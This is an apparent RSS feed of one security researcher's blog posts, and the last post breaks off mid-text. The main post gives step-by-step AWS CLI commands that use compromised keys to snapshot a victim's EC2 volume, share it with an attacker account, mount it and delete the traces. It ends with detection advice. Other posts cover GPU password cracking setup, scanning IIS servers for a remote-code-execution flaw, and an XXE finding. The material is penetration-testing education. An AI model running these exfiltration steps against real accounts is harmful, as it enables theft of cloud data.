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        <title><![CDATA[Stories by Iraklis Mathiopoulos on Medium]]></title>
        <description><![CDATA[Stories by Iraklis Mathiopoulos on Medium]]></description>
        <link>https://medium.com/@iraklis?source=rss-c16cb725d0c3------2</link>
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            <title>Stories by Iraklis Mathiopoulos on Medium</title>
            <link>https://medium.com/@iraklis?source=rss-c16cb725d0c3------2</link>
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            <title><![CDATA[How to Exfiltrate AWS EC2 Data]]></title>
            <link>https://medium.com/@iraklis/how-to-exfiltrate-aws-ec2-data-b2532862efda?source=rss-c16cb725d0c3------2</link>
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            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[data-exfiltration]]></category>
            <dc:creator><![CDATA[Iraklis Mathiopoulos]]></dc:creator>
            <pubDate>Wed, 16 Oct 2019 08:06:05 GMT</pubDate>
            <atom:updated>2019-10-16T08:06:05.364Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TjdAqNTwngdKBqNYohGeCA.png" /></figure><p>As Cloud infrastructure has become common, it has also become common for penetration testers to find themselves attacking clients that rely on e.g. AWS or Azure environments for handling, storing, and processing critical data.</p><blockquote>Note: This article was originally published in <a href="https://labs.nettitude.com/blog/how-to-exfiltrate-aws-ec2-data/">labs.nettitude.com</a></blockquote><p>There are many new and interesting attack paths an adversary can take once they have obtained some sort of access to the environment. For AWS, this is a short indicative list:</p><ul><li>Pivoting via Roles and Policies.</li><li>Modifying Lambda functions.</li><li>Modifying CloudWatch logs.</li><li>Exfiltrating database backups.</li><li>Exfiltrating EC2 images and snapshots.</li></ul><p>This article will focus on how to exfiltrate an EC2 (EBS) snapshot once an AWS CLI/API access key has been compromised. In AWS-speak, a snapshot is the backup of the contents of an EC2 instance.</p><h3>Types of access</h3><p>Broadly speaking, there are three types of credential that provide access to an AWS environment:</p><ul><li>AWS Management Console (Web portal) email and password.</li><li>AWS CLI/API access keys.</li><li>Resource/Application specific credentials such as SSH private keys, usernames and passwords, or client-side certificates.</li></ul><h3>Security controls</h3><p>Traditional security controls such as IP Whitelisting, MFA, and account lockout after subsequent login failures are supported to varying degrees, require hacks, and in some cases are outright not advised by the Cloud provider.</p><p>For example, account lockout after subsequent failed login attempts is not currently supported by AWS. Yes, adversaries can brute force their way into the AWS Management Console, assuming no MFA is implemented. One quick fix for this is to create a Lambda function that works off the back of CloudTrail logs — these logs however are not generated and processed in real time.</p><p>Another example is IP Whitelisting, both to the AWS Management Console and to the CLI/API access. Currently there is no easy and ubiquitous way of enforcing this. AWS provides a guide that helps towards this (<a href="https://aws.amazon.com/premiumsupport/knowledge-center/iam-restrict-calls-ip-addresses/">https://aws.amazon.com/premiumsupport/knowledge-center/iam-restrict-calls-ip-addresses/</a>) but within the same document the following note highlights its immaturity:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/0*TPmDgYXhTKf6Jvuj.png" /></figure><p>Due to the issues listed above, it is not uncommon for an attacker to be in a position to bypass the majority of the perimeter controls via the AWS CLI interface. This means that even if a developer needs to jump through multiple security gateways in order to access a private EC2 instance, by using AWS CLI an adversary can obtain direct access to its data.</p><h3>Exfiltrating EC2 images and snapshots</h3><p>In order to exfiltrate the desired EC2 data, the following steps need to be taken:</p><ol><li>Using the compromised credentials, we will create an EC2 snapshot from the desired EBS volume.</li><li>Modify the permissions of the newly created snapshot so that it can be shared with our own AWS account.</li><li>Using our own AWS account, create a new EBS volume from the shared snapshot.</li><li>Attach the EBS volume to our EC2 instance and download its contents for analysis.</li></ol><p>We will take advantage of the EBS snapshot sharing functionality of AWS. Specifically, use the modify-snapshot-attribute of AWS CLI and the — create-volume-permission option which will allow us to share it with another AWS account.</p><p>In order for the above to work, there are two conditions that need to be met:</p><ol><li>The compromised access keys need to have the necessary EC2 permissions to describe-volumes and create-snapshot.</li><li>Your EC2 instance is within the same Region as the target.</li></ol><h3>Manual exfiltration via the CLI</h3><p>The following commands utilise two credential profiles: victim, which contains the compromised AWS keys, and attacker, which contains our own credentials.</p><p>A note on permissions: AWS permissions can be complex to understand at first; there are many ways of granting an IAM user permissions, and unfortunately there is not single “show-permissions” command that will respond with all explicit and inherited permissions a user has. How AWS permissions, roles, policies, and groups work is outside the scope of this article. The following commands can be used, however, to navigate your way through the AWS permission maze:</p><pre>aws iam list-groups-for-user --user-name<br>aws iam list-attached-group-policies --group-name<br>aws iam list-group-policies --group-name<br>aws iam list-attached-user-policies --user-name<br>aws iam list-user-policies --user-name</pre><h3>Identify</h3><p>The first step is to list all the available EC2 instances and identify the EBS volumes that are attached to it:</p><pre>aws ec2 describe-instances --profile victim --region us-east-1</pre><p>This will output something similar to this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/0*NTyfqoCc9d0TKc59.png" /></figure><h3>Create and Share</h3><p>The next step is to create a snapshot from the EBS volume that was identified previously. Before that, however, we need to know our own Account ID so that we can give access to it. A quick way of performing this is via the sts get-caller-identity command:</p><pre>aws sts get-caller-identity --profile attacker</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/0*3-DLRZmqhnXR8TWW.png" /></figure><p>To create the snapshot, we will issue the following command:</p><pre>aws ec2 create-snapshot --volume-id vol-0ffdb5642fa255c81 --profile victim --region us-east-1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/0*PKGHgtFOPMx8zex4.png" /></figure><p>Depending on the size of the volume, creation of a snapshot can take a few seconds or minutes to complete. The following command will query its state:</p><pre>aws ec2 describe-snapshots --snapshot-id snap-0e39b84cde6992a01 --profile victim --region us-east-1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/0*B11MVHR721scEmQl.png" /></figure><p>Once the snapshot creation process finishes, we proceed to grant “read” permissions to the attacker. Before we do that, lets see what happens when the attacker tries to query the snapshot:</p><pre>aws ec2 describe-snapshots --snapshot-id snap-0e39b84cde6992a01 --profile attacker --region us-east-1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/0*llqGyXCj4CFBNl7c.png" /></figure><p>As expected, the attacker doesn’t yet have the appropriate permissions.</p><p>We address this by utilising the modify-snapshot-attribute command in conjunction with the attacker’s ID:</p><pre>aws ec2 modify-snapshot-attribute --snapshot-id snap-0e39b84cde6992a01 --attribute createVolumePermission --operation-type add --user-ids [REDACTED] --profile victim --region us-east-1</pre><p>The above command doesn’t give any output, but if we run the describe-snapshots command as the attacker we can verify that we can now access it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/0*skdLODAmd5chd6_C.png" /></figure><h3>Exfiltrate</h3><p>Now that we have access to the target snapshot, we need to spin up an EC2 instance, create a new EBS volume using the target snapshot, and then attach that volume to the EC2 instance.</p><p>We need to know the InstanceId and in which availability zone it resides. Both can be found by issuing the describe-instances command, or by quickly checking the AWS Console.</p><pre>aws ec2 create-volume --size 8 --availability-zone us-east-1b --volume-type gp2 --snapshot-id snap-0e39b84cde6992a01 --profile attacker --region us-east-1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/0*A3x1rcMiP6h9LGFs.png" /></figure><p>Using the VolumeId, we attach the volume to our instance:</p><pre>aws ec2 attach-volume --volume-id vol-02a5525559ea504af --instance-id i-0e930eb839bdf673d --device /dev/xvdf --profile attacker --region us-east-1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/0*e1FwLVUEW9ldzSYM.png" /></figure><p>We can verify that the volume has been attached by issuing the lsblk command in our EC2 instance</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/0*3lCxh1YnkTjAxmEL.png" /></figure><p>The final step is to create a directory and then mount the volume:</p><pre>sudo mkdir /data<br>sudo mount /dev/xvdf1 /data -t xfs</pre><p>Note: you can identify the target file-system by issuing:</p><pre>sudo lsblk --output NAME,TYPE,SIZE,FSTYPE,MOUNTPOINT,LABEL</pre><p>At this point we have successfully mounted our target’s data in our own EC2 instance and we are ready to transfer them away from AWS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/0*O3GBGVklh8iX6kgP.png" /></figure><h3>Cleanup</h3><p>We want to remove the snapshot that we originally created:</p><pre>aws ec2 delete-snapshot --snapshot-id snap-0e39b84cde6992a01 --profile victim --region us-east-1</pre><p>Additionally, we want to detach and delete the volume within our own environment:</p><pre>sudo umount /data<br>aws ec2 detach-volume --volume-id vol-02a5525559ea504af --profile attacker --region us-east-1<br>aws ec2 delete-volume --volume-id vol-02a5525559ea504af --profile attacker --region us-east-1</pre><h3>Detection and response</h3><p>The process of creating, sharing, and deleting snapshots leaves a number of log entries, including the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/0*nVkT3iDIGL-99sfx.png" /></figure><p>CreateSnapshot and DeleteSnapshot events can be very frequent in medium-to-large scale AWS deployments with automated backup processes. However, the ModifySnapshotAttribute is more interesting:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/0*prMvssWmyn-12Q0x.png" /></figure><p>The sourceIPAddress is the IP address from where the attacker issued the AWS CLI command. The userAgent, as you can see, also includes the hostname from where the AWS CLI command was issued. <a href="https://twitter.com/thesubtlety">@thesubtlety</a> has written an interesting post on how to overcome this: <a href="https://www.thesubtlety.com/post/patching-boto3-useragent/">https://www.thesubtlety.com/post/patching-boto3-useragent/</a></p><p>The most likely IOC here is the createVolumePermission entry, where it also identifies who this snapshot was shared with.</p><p>Having said that, AWS Logs operate on an approximate 15 minute delay. That means it can take up to 15 minutes for an AWS CLI command to appear in CloudTrail.</p><h3>Recommendations</h3><ul><li>Deny the ec2:CreateVolumePermission action in all groups, roles, and users. It is unlikely that this will be required in most environments.</li><li>If the ec2:CreateVolumePermission action is required to satisfy business requirements, create a CloudWatch alert that goes off when the volume is shared with a non-whitelisted userId.</li><li>Key rotation should be implemented in all access keys, with more frequent rotation for highly-privileged principals.</li><li>Employ a granular permission policy based on the need to know principle.</li><li>Enforce MFA both to the management console and to the AWS CLI/API.</li></ul><h3>Conclusion</h3><p>In this article we have shown how an adversary who has compromised a set of AWS access keys can bypass firewalls, private VPCs and bastion hosts, and directly exfiltrate the contents of an EC2 instance without needing logical access to the host itself nor requiring the root’s SSH keys.</p><p>There are many variations of this technique, including modifying the permissions of an S3 bucket that the snapshots reside in.</p><p>It comes to no surprise that traditional security principles such as defence in depth, key rotation, and granular access controls can help minimise the risk of an AWS environment data breach.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b2532862efda" width="1" height="1" alt="">]]></content:encoded>
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        <item>
            <title><![CDATA[Running hashcat v4.0.0 in Amazon’s AWS new p3.16xlarge instance]]></title>
            <link>https://medium.com/@iraklis/running-hashcat-v4-0-0-in-amazons-aws-new-p3-16xlarge-instance-e8fab4541e9b?source=rss-c16cb725d0c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/e8fab4541e9b</guid>
            <category><![CDATA[nvidia]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cracking]]></category>
            <dc:creator><![CDATA[Iraklis Mathiopoulos]]></dc:creator>
            <pubDate>Sat, 28 Oct 2017 17:29:26 GMT</pubDate>
            <atom:updated>2019-03-10T12:51:20.205Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0_XoVsJFVd028orHc9TFkg.png" /></figure><p>Amazon released their new GPU rigs a couple of days ago. The top of the line options is the p3.16xlarge instance. Hashcat released v4.0.0 yesterday, I decided to make them play together.</p><blockquote><a href="https://twitter.com/hashcat/status/923584012278489094">This is the first time a Tesla based GPU is faster than the top GTX models for crypto operations</a>. It is truly fast — 633.7 GH/s for NTLM. And expensive — $24.48 per hour.</blockquote><p>Before giving you the required steps that are needed in order to run hashcat on p3.16xlarge, here are some notable benchmarks. The full list can be found at the end of this post.</p><ul><li>NetNTLMv2: 28912.2 MH/s</li><li>MD5: 450.0 GH/s</li><li>SHA-256: 59971.8 MH/s</li><li>MS Office 2013: 163.5 kH/s</li><li>bcrypt $2*$, Blowfish (Unix): 434.2 kH/s</li></ul><h3>Setting up p3.16xlarge for hashcat</h3><p>First of, you may need to request a limit increase so that you are allowed to launch the new p3.16xlarge instances. AWS was pretty responsive, it only took them 20 mins or so.</p><p>Before we proceed a friendly heads up: I will not be replying to any angry emails coming from people who lost their job/spouse/sanity. Be careful with your internet clicks. If you forget to spin-down your p3.16xlarge instance for a month, you will be reminded with an AWS invoice of over $18k.</p><p>p3.16xlarge is available hey in US East (N. Virginia), US West (Oregon), EU West (Ireland) and Asia Pacific (Tokyo) regions.</p><p>Launch an a default Ubuntu p3.16xlarge instance with the “Ubuntu Server 16.04 LTS (HVM), SSD Volume Type — ami-cd0f5cb6” ami.</p><p>You can try getting a spot request one, these are usually 50%-80% cheaper, depending on availability and demand.</p><p>On your first login, update everything and install the required packages:</p><pre>sudo apt-get update &amp;&amp; sudo apt-get install -y build-essential linux-headers-$(uname -r) p7zip-full linux-image-extra-virtual</pre><p>Then, sudo vi /etc/modprobe.d/blacklist-nouveau.conf and input the following:</p><pre>blacklist nouveau<br>blacklist lbm-nouveau<br>options nouveau modeset=0<br>alias nouveau off<br>alias lbm-nouveau off</pre><p>After:</p><pre>echo options nouveau modeset=0 | sudo tee -a /etc/modprobe.d/nouveau-kms.conf<br>sudo update-initramfs -u<br>sudo reboot</pre><p>bash script for non-interactive automated deployments:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e2bffb2d97764beb822f971fd31aae37/href">https://medium.com/media/e2bffb2d97764beb822f971fd31aae37/href</a></iframe><p>Once the instance reboots (it should take 2–3 minutes), download the latest NVIDIA Tesla drivers (these worked for me) and hashcat:</p><pre>wget <a href="http://us.download.nvidia.com/tesla/410.104/NVIDIA-Linux-x86_64-410.104.run">http://us.download.nvidia.com/tesla/410.104/NVIDIA-Linux-x86_64-410.104.run</a><br>sudo /bin/bash NVIDIA-Linux-x86_64-410.104.run --ui=none --no-questions --silent -X<br><br>wget <a href="https://hashcat.net/files/hashcat-5.1.0.7z">https://hashcat.net/files/hashcat-5.1.0.7z</a><br>7za x hashcat-5.1.0.7z</pre><p>You should be good to go. To verify that the drivers are working you can run sudo nvidia-smi</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*FfPVtDGCdZ07waF4WUXpPw.png" /><figcaption>output of nvidia-smi</figcaption></figure><p>Full benchmarks:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/6c84169d7dbb8e9a2661b137544683a6/href">https://medium.com/media/6c84169d7dbb8e9a2661b137544683a6/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e8fab4541e9b" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[HOW TO FIX BURP SUITE SSL/TLS CONNECTION PROBLEMS]]></title>
            <link>https://medium.com/@iraklis/how-to-fix-burp-suite-ssl-tls-connection-problems-e635772951dc?source=rss-c16cb725d0c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/e635772951dc</guid>
            <category><![CDATA[proxy]]></category>
            <category><![CDATA[web-app-security]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Iraklis Mathiopoulos]]></dc:creator>
            <pubDate>Tue, 26 Sep 2017 21:14:34 GMT</pubDate>
            <atom:updated>2017-09-26T21:14:34.384Z</atom:updated>
            <content:encoded><![CDATA[<p>Intercepting SSL/TLS connections works seamlessly 95% of the time. This tutorial aims to help with the 5% of the time where Burp Suite won’t play nice and will throw a javax.net.ssl.SSLException</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*xgYpvLHD7Il4OSyiHnZa4Q.png" /><figcaption>Burp connection error</figcaption></figure><p>The problems usually arise in the extreme ends of the SSL/TLS configuration spectrum. SSLv2 implementations on the one side vs modern implementations with ciphers and prime sizes that the native Java SSL implementation does not support. For more information, you can read the related JDK bugs and feature requests: <a href="http://bugs.java.com/bugdatabase/view_bug.do?bug_id=6521495">JDK-6521495</a>, <a href="http://bugs.java.com/bugdatabase/view_bug.do?bug_id=7044060">JDK-7044060</a>, <a href="https://bugs.openjdk.java.net/browse/JDK-8072452">JDK-8072452</a>.</p><p>One way to resolve this is to use the <a href="https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project">OWASP ZAP Proxy</a> as an upstream proxy.</p><p>With this setup, Burp Suite talks to ZAP, which in turn talks to the targeted website and handles the SSL/TLS communication. After following the steps of this tutorial your communication flow will be as follows: Your browser -&gt; Burp Suite -&gt; OWASP ZAP -&gt; Target website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*OgHTCcEG1pMOOjKwMQ_8PQ.png" /><figcaption>Using ZAP in conjunction with Burp</figcaption></figure><p>Why does this work, you might ask? Aren’t both tools written in Java? What’s the difference between Burp Suite and ZAP? The answer is that ZAP Proxy uses <a href="https://www.bouncycastle.org/">BouncyCastle</a>, a library that provides greater support for SSL/TLS implementations than Java’s native javax.net.ssl.</p><p>But enough with the background info, let’s get to the core of this tutorial.</p><h3>STEP 1: CONFIGURE YOUR BROWSER TO USE BURP SUITE AS A PROXY</h3><p>We will not cover this here; we assume that you are familiar with setting up and using Burp Suite. For this example, Burp’s proxy will be listening on 127.0.0.1:8080.</p><h3>STEP 2: CONFIGURE OWASP ZAP</h3><p>Install <a href="https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project">OWAP ZAP Proxy</a>, and make the following changes by going to <strong>Tools -&gt; Options</strong>:</p><p>Navigate to “Connection” and make sure all “Security Protocols” are checked:</p><p>Then go to “Local Proxy” and select 8081 as the proxy port, makes sure all “Security Protocols” are checked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*6Gw-y9MSR2-G9b1hT-qN-Q.png" /></figure><p>Once you’ve made the changes, restart ZAP. Just to make sure that ZAP can connect to your target, temporarily configure your browser to use 127.0.0.1:8081 as the HTTPS proxy. Navigate to the target and verify that ZAP can indeed handle the SSL/TLS connection.</p><h3>STEP 3: CONFIGURE BURP TO USE ZAP AS AN UPSTREAM PROXY</h3><p>In Burp, under “User Options” select the “Connections” tab and click on the “Add” button:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*e11_zt5bFCAHQLDudLo1Ew.png" /></figure><p>In the popup dialog, fill in the following:</p><ul><li>Destination host: *</li><li>Proxy host: 127.0.0.1</li><li>Proxy port: 8081</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*jtVRQtRCXk69Kp_HouLDWg.png" /></figure><p>Click OK. Verify that “Enabled” is checked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*NRf9lRnyCsPvLkMdYFpGWw.png" /></figure><p>Everything should be working now. Instruct your browser to use Burp as a proxy (127.0.0.1:8080) and navigate to the site that you were previously unable to connect to.</p><p>Happy burping.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*T9lMmhpaD8lJVc4xiSD-sg.png" /></figure><p>This tutorial has been has been slightly adapted from the <a href="https://labs.nettitude.com/tutorials/how-to-fix-burp-suite-ssltls-connection-problems/">original</a>, which I wrote for <a href="https://labs.nettitude.com/">labs.nettitude.com</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e635772951dc" width="1" height="1" alt="">]]></content:encoded>
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        <item>
            <title><![CDATA[The Shadowbrokers resources.]]></title>
            <link>https://medium.com/@iraklis/the-shadowbrokers-resources-da1201f2af32?source=rss-c16cb725d0c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/da1201f2af32</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[shadowbrokers]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[Iraklis Mathiopoulos]]></dc:creator>
            <pubDate>Wed, 19 Apr 2017 20:08:06 GMT</pubDate>
            <atom:updated>2017-04-19T20:08:06.162Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NsNtIKWaUo0gkOTWJ7Xebw.jpeg" /></figure><p>Created a quick gist to list the most relevant analysis, tutorial, demos and various other information regarding the latest leak of the Shadowbrokers.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/aaea0607df4ddfc657e2177f17fd22f4/href">https://medium.com/media/aaea0607df4ddfc657e2177f17fd22f4/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=da1201f2af32" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Number of internet facing vulnerable IIS 6.0 to CVE-2017–7269]]></title>
            <link>https://medium.com/@iraklis/number-of-internet-facing-vulnerable-iis-6-0-to-cve-2017-7269-8bd153ef5812?source=rss-c16cb725d0c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/8bd153ef5812</guid>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[microsoft]]></category>
            <dc:creator><![CDATA[Iraklis Mathiopoulos]]></dc:creator>
            <pubDate>Wed, 29 Mar 2017 14:12:46 GMT</pubDate>
            <atom:updated>2017-03-30T08:04:27.262Z</atom:updated>
            <content:encoded><![CDATA[<p>Context: <a href="https://github.com/edwardz246003/IIS_exploit">https://github.com/edwardz246003/IIS_exploit</a></p><p>Microsoft Windows Server 2003 R2 with WebDAV <strong>and</strong> PROPFIND enabled is vulnerable to remote code execution. Metasploit module <a href="https://github.com/rapid7/metasploit-framework/pull/8162">should be out soon</a>.</p><p>At first this sounds scary. Even though 2003 R2 is EOL, Shodan shows more than 600k internet facing servers running IIS 6.0, most of them in MS Server 2003.</p><p>However, in order for the specific vulnerability to be exploited, it seems like the PROPFIND header needs to be enabled.</p><p>I run a little experiment and together with my kindergarten maths I calculated that approximately out of the 600.000 servers that run IIS 6.0, only 10% (~60.000) of them are potentially vulnerable. <strong>Thats ~1% of the </strong><a href="https://news.netcraft.com/archives/2017/02/27/february-2017-web-server-survey.html"><strong>world’s webservers</strong></a><strong>.</strong></p><h4>How was this calculated:</h4><p>I used Shodan to get a list of 10.000 IPs running IIS 6.0. After that, a simple python script that fires a curl request with the PROPFIND header.</p><p>The vast majority of them respond with “501 Not Implemented”, “403 Forbidden”, or “400 Bad Request”. I’m assuming all of the above indicate that the vulnerability is not present.</p><p>However, a good 10% of them replied with “HTTP/1.1 411 Length Required” indicating that they are vulnerable.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/82614062363d81cb8a1beb1c862aa5de/href">https://medium.com/media/82614062363d81cb8a1beb1c862aa5de/href</a></iframe><p>The above is a very rough calculation. WebDAV could be enabled per directory or per virtual host in which case they wouldn’t be caught, so the total number might be bigger. Hat tip to <a href="https://twitter.com/rbmaslen">@rbmaslen</a> for this.</p><p>Its interesting to see if Microsoft is going to make an exception and issue a hotfix for this.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8bd153ef5812" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Running hashcat in Amazon’s AWS new 16 GPU p2.16xlarge instance]]></title>
            <link>https://medium.com/@iraklis/running-hashcat-in-amazons-aws-new-16-gpu-p2-16xlarge-instance-9963f607164c?source=rss-c16cb725d0c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/9963f607164c</guid>
            <category><![CDATA[hashcat]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[passwords]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Iraklis Mathiopoulos]]></dc:creator>
            <pubDate>Wed, 05 Oct 2016 08:40:22 GMT</pubDate>
            <atom:updated>2017-10-31T18:58:38.620Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*REUH1gvYbCcaCZTPt4Vxuw.jpeg" /></figure><p><strong>Update:</strong> <a href="https://medium.com/@iraklis/running-hashcat-v4-0-0-in-amazons-aws-new-p3-16xlarge-instance-e8fab4541e9b">New article running on AWS’s p3.16xlarge.</a></p><p>Amazon <a href="https://aws.amazon.com/blogs/aws/new-p2-instance-type-for-amazon-ec2-up-to-16-gpus/">just released</a> a new GPU instance for computing, P2, that can use up to 16 Nvidia Tesla K80 GPUs.</p><p>Lets try to fire one up and see how hashcat performs.</p><h4>Step 1: Launch an Ubuntu 14.04 TLS p2.16xlarge instance</h4><h4>Step 2: Set up server</h4><pre>sudo apt-get update &amp;&amp; sudo apt-get install build-essential<br>sudo apt-get install linux-image-extra-virtual</pre><p>create the file /etc/modprobe.d/blacklist-nouveau.conf and add:</p><pre>blacklist nouveau<br>blacklist lbm-nouveau<br>options nouveau modeset=0<br>alias nouveau off<br>alias lbm-nouveau off</pre><p>Finish up and reboot</p><pre>echo options nouveau modeset=0 | sudo tee -a /etc/modprobe.d/nouveau-kms.conf<br>sudo update-initramfs -u</pre><p>After reboot install Nvidia drivers</p><pre>sudo apt-get install linux-source<br>sudo apt-get install linux-headers-`uname -r`</pre><pre>wget <a href="http://us.download.nvidia.com/XFree86/Linux-x86_64/352.99/NVIDIA-Linux-x86_64-352.99.run">http://us.download.nvidia.com/XFree86/Linux-x86_64/352.99/NVIDIA-Linux-x86_64-352.99.run</a><br>chmod +x NVIDIA-Linux-x86_64–352.99.run<br>sudo ./NVIDIA-Linux-x86_64–352.99.run</pre><p>Finetune GPUs</p><pre>sudo nvidia-smi -pm 1<br>sudo nvidia-smi -acp 0<br>sudo nvidia-smi — auto-boost-permission=0<br>sudo nvidia-smi -ac 2505,875</pre><p>Install hashcat</p><pre>sudo apt-get install p7zip-full<br>wget <a href="https://hashcat.net/files/hashcat-3.10.7z">https://hashcat.net/files/hashcat-3.10.7z</a><br>7za x hashcat-3.10.7z</pre><p>Here are some numbers from the hashcat benchmark.</p><ul><li>MD5: 73286.5 MH/s</li><li>SHA512: 3226.1 MH/s</li><li>WPA/WPA2: 1316.2 kH/s</li><li>NTLM: 136.4 GH/s</li></ul><h4>Full benchmark</h4><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/c9098efd6b084f5172e7583fce7efe4d/href">https://medium.com/media/c9098efd6b084f5172e7583fce7efe4d/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9963f607164c" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[An unlikely XXE in Hikvision’s Remote Access Camera Cloud]]></title>
            <link>https://medium.com/@iraklis/an-unlikely-xxe-in-hikvisions-remote-access-camera-cloud-d57faf99620f?source=rss-c16cb725d0c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/d57faf99620f</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[iot]]></category>
            <dc:creator><![CDATA[Iraklis Mathiopoulos]]></dc:creator>
            <pubDate>Thu, 29 Sep 2016 12:23:38 GMT</pubDate>
            <atom:updated>2016-09-29T12:23:38.707Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fjV0VXVgfq6_XOijVdtt8w.jpeg" /><figcaption>Illustration by Ondřej Šponiar <a href="https://pixabay.com/en/users/Andrew-Art-2005827/">https://pixabay.com/en/users/Andrew-Art-2005827/</a></figcaption></figure><p><strong>TLDR</strong>: While trying to get admin credentials on my locked down Elisa Live IP camera, I discovered a XML External Entity (XXE) vulnerability on one of the backend systems of <a href="http://www.hikvision.com/en/about_694.html">HiKVision</a>, the manufacturer of the camera which is the market leader on IP cameras and PVRs.</p><p>Insecurity and the IoT era go hand in hand. A quick search in google will reveal hundreds of white papers and articles that have been published over the last few years.</p><p>About two months ago I had a free weekend so I wanted to play around with a cloud camera. I searched in Amazon for a cheap one with no published security vulnerabilities. I found this one: <a href="https://www.amazon.co.uk/gp/product/B014QWLE9S">Elisa Live 720p HD IP Camera</a>.</p><p>I will try to keep this post short so I will focus on the discovery of the XXE. I will not detail all the steps that I took to investigate the camera itself, only the relevant parts that lead to the XXE discovery.</p><h4>The Camera</h4><p>The camera itself is a white-labelled RC8221 manufactured by Hikvision, a $20bn company that is the <a href="http://www.hikvision.com/en/about_694.html">market leader</a> (~20%) in the surveillance products industry. <a href="http://elisa.com/">Elisa</a>, a Finnish company, provides a cloud app that you can access in order to view the live stream of your camera.</p><p>As the trend dictates, you cannot get access to the camera itself without going through their cloud platform. In other words, the camera’s stream is uploaded to their backend system and you access the stream through a web or mobile app.</p><h4>Getting my feet wet</h4><p>I connected the camera through its Ethernet interface to my lab and started intercepting network traffic. If you ever want experiment with IoT devices I highly recommend that for your first round of investigation you do not have an active internet connection. Some devices are shipped with old/insecure firmware, the very first thing they will do is check if an update is available.</p><p>Wireshark revealed two interesting and unencrypted calls:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f1ju614b6to6Fi7lBiYYrA.png" /><figcaption>POST Request to www.hik-online.com</figcaption></figure><p>A POST request to <a href="http://www.hik-online.com/">www.hik-online.com</a>, Looks like a base64 encoded password. Let’s note this down for later.</p><p>And a GET request that downloaded the updated firmware from an s3 bucket.<br>The firmware can be downloaded <a 